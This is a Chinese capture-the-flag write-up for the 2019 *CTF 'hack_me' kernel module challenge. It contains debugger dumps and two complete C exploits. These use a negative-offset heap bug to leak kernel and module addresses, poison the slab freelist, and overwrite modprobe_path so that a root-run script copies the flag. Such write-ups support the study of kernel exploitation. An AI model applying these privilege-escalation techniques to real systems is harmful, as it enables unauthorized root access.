题目
2019 *CTF hack_me
保护
$ checksec ./hackme.ko
[*] '/home/hnhuangjingyu/hackme/hackme.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
-----------------------------------------------------------------------------------------------
$ strings vmlinux| grep "gcc"
%s version %s (hzshang@ub18) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) %s
Linux version 4.20.13 (hzshang@ub18) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) #10 Fri Mar 1 11:53:51 CST 2019
-----------------------------------------------------------------------------------------------
$ cat startvm.sh
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-s \
-cpu qemu64,smep,smap 2>/dev/null
-----------------------------------------------------------------------------------------------
$ cat rootfs/etc/init.d/rcS
#!/bin/sh
mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts
insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
chown -R 1000:1000 .
cd ../..
setsid cttyhack setuidgid 1000 sh
umount /proc
#poweroff -f
- linux-4.20.13
- ko只开了nx
- 内核开启了kaslr、smep、smap
分析
思维导图
实现的功能类似堆题的菜单题
思路
其中offset可以写入负数从而读取堆地址前面的内容,这题其实没有什么代码漏洞,当时还找了挺久的代码逻辑漏洞,发现没有,相同的大小堆块(slab-object )在释放后会重新回到freelist 表中,后面申请相同大小的堆块会重新分配出来当时做题目的时候不知道这里概念,虽然研究过slab分配的原理,堆块释放后会重新回到freelist,但是没想到它就放在fd指针处,这里还是得实际调试才能发现到。。。。有点菜。。。
那么就很容易了,题目有kaslr 需要泄漏模块地址,在发现modprobe_path 方式获取flag 后回不去。。其他方法原理掌握了该题的任意读写姿势就都差不多,,,因为要使用modprobe_path 所以需要泄漏内核地址
为了方便调试先将kaslr关闭和开启root权限,在申请了一个堆块后
方法声明:
struct buf{
size_t idx;
char *buf;
size_t size;
size_t offset;
}mem;
int fd;
void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();
main:
//----------------exp-------------------------
add(0,"0",0x100);
//----------------pool地址-------------------------
0xffffffffc0002400│+0x0000 0xffff888000179400 //分配到的slab-obj指针
0xffffffffc0002408│+0x0008 0x0000000000000100 //size
0xffffffffc0002410│+0x0010 0x0000000000000000
0xffffffffc0002418│+0x0018 0x0000000000000000
//----------------内存数据-------------------------
gef? telescope 0xffff888000179400
0xffff888000179400│+0x0000: 0x257830203e2d0030 → 0x257830203e2d0030
0xffff888000179408│+0x0008: 0x6b6d000a20786c6c → 0x6b6d000a20786c6c
0xffff888000179410│+0x0010: 0x706d7420726964 → 0x706d7420726964
0xffff888000179418│+0x0018: 0x6863650000000000 → 0x6863650000000000
0xffff888000179420│+0x0020: 0x232720656e2d206f → 0x232720656e2d206f
0xffff888000179428│+0x0028: 0x68732f6e69622f21 → 0x68732f6e69622f21
0xffff888000179430│+0x0030: 0x2f6e69622f0a2020 → 0x2f6e69622f0a2020
0xffff888000179438│+0x0038: 0x67616c662f207063 → 0x67616c662f207063
0xffff888000179440│+0x0040: 0x6c662f706d742f20 → 0x6c662f706d742f20
0xffff888000179448│+0x0048: 0x69622f0a20206761 → 0x69622f0a20206761
//因为向后只能读取0x100的内存,且后面的0x100内存数据都是字符串数据,所以向前偏移0x100看看数据,如下:
gef? telescope 0xffff888000179400-0x100
0xffff888000179300│+0x0000: 0xffff888000179378 → 0xffff8880001793f8 → 0x00000000797470
0xffff888000179308│+0x0008: 0x00000100000000 → 0x00000100000000
0xffff888000179310│+0x0010: 0x00000000000001 → 0x00000000000001
0xffff888000179318│+0x0018: 0x00000000000000 → 0x00000000000000
0xffff888000179320│+0x0020: 0xffff888000179378 → 0xffff8880001793f8 → 0x00000000797470
0xffff888000179328│+0x0028: 0xffffffff81849ae0 → 0x00000000000000 → 0x00000000000000
0xffff888000179330│+0x0030: 0xffffffff81849ae0 → 0x00000000000000 → 0x00000000000000
//可以看到这里有个内核地址0xffffffff81849ae0
有了内核地址在计算出modprobe_path 的偏移即可得到modprobe_path 的地址
size_t modprobe_path;
add(0,"0",0x100);
size_t buf[0x100 / 8] = {0};
show(0,buf,sizeof buf,- sizeof buf);
for(int i = 0 ;i < sizeof(buf) ; i++){
if(buf[i] >> 4*8 == 0xffffffff){
modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
printf("kernel -> 0x%llx \n",buf[i]);
printf("modprobe_path -> 0x%llx \n",modprobe_path);
break;
}
}
}
现在还需要泄漏模块设备地址,因为show对pool[idx]的长度没有限制,那么看看pool里的内容
//可以看到冲偏移为0xc00后的地址开始出现了数据,且有没开kaslr时的模块地址0xffffffffc0000000、0xffffffffc0002000
gef? telescope 0xffffffffc0002400+0xc00
0xffffffffc0003000│+0x0000: 0x00005500000000 → 0x00005500000000
0xffffffffc0003008│+0x0008: 0x00000000000000 → 0x00000000000000
0xffffffffc0003010│+0x0010: 0x00000000000000 → 0x00000000000000
0xffffffffc0003018│+0x0018: 0x02007400000001 → 0x02007400000001
0xffffffffc0003020│+0x0020: 0xffffffffc0000000 → 0x54415541e5894855 → 0x54415541e5894855
0xffffffffc0003028│+0x0028: 0x0000000000016f → 0x0000000000016f
0xffffffffc0003030│+0x0030: 0x0800640000000e → 0x0800640000000e
0xffffffffc0003038│+0x0038: 0xffffffffc0002000 → 0x0000000000003a → 0x0000000000003a
0xffffffffc0003040│+0x0040: 0x00000000000050 → 0x00000000000050
0xffffffffc0003048│+0x0048: 0x08006400000013 → 0x08006400000013
//而因为show模块读取的数据是一个指针层级关系,所以需要指针指向的地址为模块地址,那么在0xc50处即有这么一块
gef? telescope 0xffffffffc0002400+0xc50
0xffffffffc0003050│+0x0000: 0xffffffffc0002060 → 0xffffffffc0002180 → 0x00000000000000
那么就可以进行泄漏地址了
size_t modprobe_path , mod_addr;
void leak(){
add(0,"0",0x100);
size_t buf[0x100 / 8] = {0};
show(0,buf,sizeof buf,- sizeof buf);
for(int i = 0 ;i < sizeof(buf) ; i++){
if(buf[i] >> 4*8 == 0xffffffff){
modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
printf("kernel -> 0x%llx \n",buf[i]);
printf("modprobe_path -> 0x%llx \n",modprobe_path);
break;
}
}
show(0xc5,buf,8,0);
mod_addr = buf[0] - (0xffffffffc0002180 - 0xffffffffc0000000);
printf("mod_addr -> 0x%llx \n",mod_addr);
}
int main(){
fd = open("dev/hackme",0);
leak();
}
/ # ./exp
kernel -> 0xffffffff81849ae0
modprobe_path -> 0xffffffff8183f960
mod_addr -> 0xffffffffc0000000
有了目标地址,接下来就是实现任意地址写了,使用的手法就是我上面说的,free->修改fd->malloc->malloc 即可得到我们的fake-object
add(1,"1",0x100);
add(2,"2",0x100);
//此时pool数据如下:
0xffffffffc0002400│+0x0000 0xffff888000179400 #obj0
0xffffffffc0002408│+0x0008 0x0000000000000100
0xffffffffc0002410│+0x0010 0xffff888000179500 #obj1
0xffffffffc0002418│+0x0018 0x0000000000000100
0xffffffffc0002420│+0x0020 0xffff888000179600 #obj2
0xffffffffc0002428│+0x0028 0x0000000000000100
//此时freelist
freelist = 0xffff888000179700 → 0xffff888000179800 → 0xffff888000179900 → 0xffff888000179a00 → 0xffff888000179b00 → 0xffff888000179c00 → 0xffff888000179d00
dele(1); //放入freelist
//此时pool数据如下:
0xffffffffc0002400│+0x0000 0xffff888000179400
0xffffffffc0002408│+0x0008 0x0000000000000100
0xffffffffc0002410│+0x0010 0x0000000000000000
0xffffffffc0002418│+0x0018 0x0000000000000100
0xffffffffc0002420│+0x0020 0xffff888000179600
0xffffffffc0002428│+0x0028 0x0000000000000100
//此时freelist
freelist = 0xffff888000179500 → 0xffff888000179700 → 0xffff888000179800 → 0xffff888000179900 → 0xffff888000179a00 → 0xffff888000179b00 → 0xffff888000179c00 → 0xffff888000179d00
//可以看到释放的0xffff888000179500已经进来了,那么就可以进行修改fd了
size_t buf[2] = {0};
buf[0] = modprobe_path;
edit(2,buf,0x100,- 0x100); //向前面写入 也就是 slab-obj - 0x100处,刚好就是上一块heap的地址
//此时的freelist
freelist = 0xffff888000179500 → 0xffffffff8183f960 → 0x6f6d2f6e6962732f → 0x6f6d2f6e6962732
//已经被修改成了modprobe_path地址(0xffffffff8183f960)了
再次kmalloc2次即可拿到fake slab-obj
add(3,"3",0x100);
add(4,"tmp/exp.sh",0x100);
system("./tmp/errofile");
system("cat tmp/flag");
gef? strings 0xffffffff8183f960
0xffffffff8183f960: "/tmp/exp.sh"
0xffffffff8183f96c: "0"
0xffffffff8183f96e: "kernel -> 0x%llx \n"
0xffffffff8183f981: "modprobe_path -> 0x%llx \n"
0xffffffff8183f99b: "mod_addr -> 0x%llx \n"
0xffffffff8183f9b0: "mkdir tmp"
但是做到这我执行exp后、再执行命令ls 、执行错误文件时就发生了内核崩溃,报错地址后是kmem_cache_alloc+0x45处的位置,详细日志如下:
/ # ./tmp/errofile
[ 7.116154] general protection fault: 0000 [#1] NOPTI
[ 7.118106] CPU: 0 PID: 35 Comm: sh Tainted: G O 4.20.13 #10
[ 7.118923] RIP: 0010:kmem_cache_alloc+0x45/0xc0
[ 7.119921] Code: e8 40 86 fe ff 4d 85 ed 74 74 85 c0 75 70 49 8b 4d 00 48 8b 51 08 4c 8b 01 4d 85 c0 74 3c 41 8b 45 20 49 8b 7d 00 48 8d 4a 01 <49> 8b 1c 00 4c 89 c0 48 0f c7 0f 0f 94 c0 90 84 c0 74 d1 41 8b 45
初步判断应该是内核堆结构发生崩溃
然后就是资料查阅开始我以为是我使用modprobe_path有问题,然后参考师傅们的一些exp,改动如下:
int main(){
loadFoot();
fd = open("dev/hackme",0);
leak();
add(1,"1",0x100);
add(2,"2",0x100);
dele(1);
size_t buf[2] = {0};
buf[0] = mod_addr + 0x2400;
edit(2,buf,0x100,- 0x100);
add(3,"3",0x100);
buf[0] = modprobe_path;
buf[1] = 0x100;
add(4,buf,0x100);
edit(0,"/tmp/exp.sh\x00",0x10,0);
system("./tmp/errofile");
system("cat tmp/flag");
return 0;
}
但是依旧发生报错。。。。试过了堆块大小为0x10、0x100、0x200都不行,且最后你modprobe_path 写入pop的偏移位置必须是没有值的地方,不能覆盖已有堆块,否则会造成内核kmalloc崩溃,那么最后的exp:
#include<stdio.h>
struct buf{
size_t idx;
char *buf;
size_t size;
size_t offset;
}mem;
int fd;
size_t modprobe_path , mod_addr;
void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();
int main(){
loadFoot();
fd = open("dev/hackme",0);
leak();
add(1,"1",0x20);
add(2,"2",0x20);
dele(1);
size_t buf[2] = {0};
buf[0] = mod_addr + 0x2400+0x90;
edit(2,buf,0x20,- 0x20);
add(3,"3",0x20);
buf[0] = modprobe_path;
buf[1] = 0x20;
add(4,buf,0x20);
buf[0] = modprobe_path;
buf[1] = 0x20;
add(4,buf,0x20);
edit(9,"/tmp/exp.sh\x00",0x10,0);
system("./tmp/errofile");
system("cat tmp/flag");
return 0;
}
void leak(){
add(0,"0",0x100);
size_t buf[0x100 / 8] = {0};
show(0,buf,sizeof buf,- sizeof buf);
for(int i = 0 ;i < sizeof(buf) ; i++){
if(buf[i] >> 4*8 == 0xffffffff){
modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
printf("kernel -> 0x%llx \n",buf[i]);
printf("modprobe_path -> 0x%llx \n",modprobe_path);
break;
}
}
show(0xc5,buf,8,0);
mod_addr = buf[0] - (0xffffffffc0002180 - 0xffffffffc0000000);
printf("mod_addr -> 0x%llx \n",mod_addr);
}
void add(long idx , char * buf , long size ){
mem.idx = idx;
mem.buf = buf;
mem.size = size;
mem.offset = 0;
ioctl(fd,0x30000,&mem);
}
void edit(long idx , char * buf , long size, long offset){
mem.idx = idx;
mem.buf = buf;
mem.size = size;
mem.offset = offset;
ioctl(fd,0x30002,&mem);
}
void dele(long idx ){
mem.idx = idx;
ioctl(fd,0x30001,&mem);
}
void show(long idx , char * buf , long size, long offset){
mem.idx = idx;
mem.buf = buf;
mem.size = size;
mem.offset = offset;
ioctl(fd,0x30003,&mem);
}
void loadFoot(){
system("mkdir tmp");
system("echo -ne '#!/bin/sh \n/bin/cp /flag /tmp/flag \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");
system("echo -ne '\xff' > /tmp/errofile ");
system("chmod +x /tmp/exp.sh");
system("chmod +x /tmp/errofile");
}
执行结果(记得改回权限和kaslr测试!)
/ $ ./exp
kernel -> 0xffffffffb2a49ae0
modprobe_path -> 0xffffffffb2a3f960
mod_addr -> 0xffffffffc01d3000
./tmp/errofile: line 1: ?: not found
*CTF{test}
/ $
方式二:
通过mod_tree泄漏模块地址
#include<stdio.h>
struct buf{
size_t idx;
char *buf;
size_t size;
size_t offset;
}mem;
int fd;
size_t modprobe_path , mod_addr;
void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();
int main(){
loadFoot();
fd = open("dev/hackme",0);
leak();
add(4,"4",0x20);
add(5,"5",0x20);
dele(4);
size_t buf[2] = {0};
buf[0] = mod_addr + 0x2400+0x90;
edit(5,buf,0x20,- 0x20);
add(6,"6",0x20);
buf[0] = modprobe_path;
buf[1] = 0x20;
add(7,buf,0x20);
edit(9,"/tmp/exp.sh\x00",0x10,0);
system("./tmp/errofile");
system("cat tmp/flag");
return 0;
}
void leak(){
add(0,"0",0x100);
size_t buf[0x100 / 8] = {0};
show(0,buf,sizeof buf,- sizeof buf);
size_t kernel;
for(int i = 0 ;i < sizeof(buf) ; i++){
if(buf[i] >> 4*8 == 0xffffffff){
modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
kernel = buf[i];
printf("kernel -> 0x%llx \n",kernel);
printf("modprobe_path -> 0x%llx \n",modprobe_path);
break;
}
}
size_t mod_tree = kernel - (0xffffffff81849ae0 - 0xffffffff81811000);
add(1,"1",0x100);
dele(0);
buf[0] = mod_tree + 0x50;
edit(1,buf,0x100,- 0x100);
add(2,"2",0x100);
add(3,buf,0x100);
show(3,buf,0x50,- 0x38);
mod_addr = buf[0];
printf("mod_tree -> 0x%llx \n",mod_tree);
printf("mod_addr -> 0x%llx \n",mod_addr);
dele(1);
dele(2);
}
void add(long idx , char * buf , long size ){
mem.idx = idx;
mem.buf = buf;
mem.size = size;
mem.offset = 0;
ioctl(fd,0x30000,&mem);
}
void edit(long idx , char * buf , long size, long offset){
mem.idx = idx;
mem.buf = buf;
mem.size = size;
mem.offset = offset;
ioctl(fd,0x30002,&mem);
}
void dele(long idx ){
mem.idx = idx;
ioctl(fd,0x30001,&mem);
}
void show(long idx , char * buf , long size, long offset){
mem.idx = idx;
mem.buf = buf;
mem.size = size;
mem.offset = offset;
ioctl(fd,0x30003,&mem);
}
void loadFoot(){
system("mkdir tmp");
system("echo -ne '#!/bin/sh \n/bin/cp /flag /tmp/flag \n/bin/chmod 777 /tmp/flag' > /tmp/
exp.sh \n");
system("echo -ne '\xff' > /tmp/errofile ");
system("chmod +x /tmp/exp.sh");
system("chmod +x /tmp/errofile");
}
执行结果
/ ~ ./exp
kernel -> 0xffffffffa6049ae0
modprobe_path -> 0xffffffffa603f960
mod_tree -> 0xffffffffa6011000
mod_addr -> 0xffffffffc01f4000
./tmp/errofile: line 1: ?: not found
*CTF{test}
/ ~
总结
- 申请内核内存时尽量小一点,不要破坏其他的内存结构
- 用于存放modprobe_path指针的地方尽量不要覆盖原数据
- 尽可能的保护内核内存结构完整
|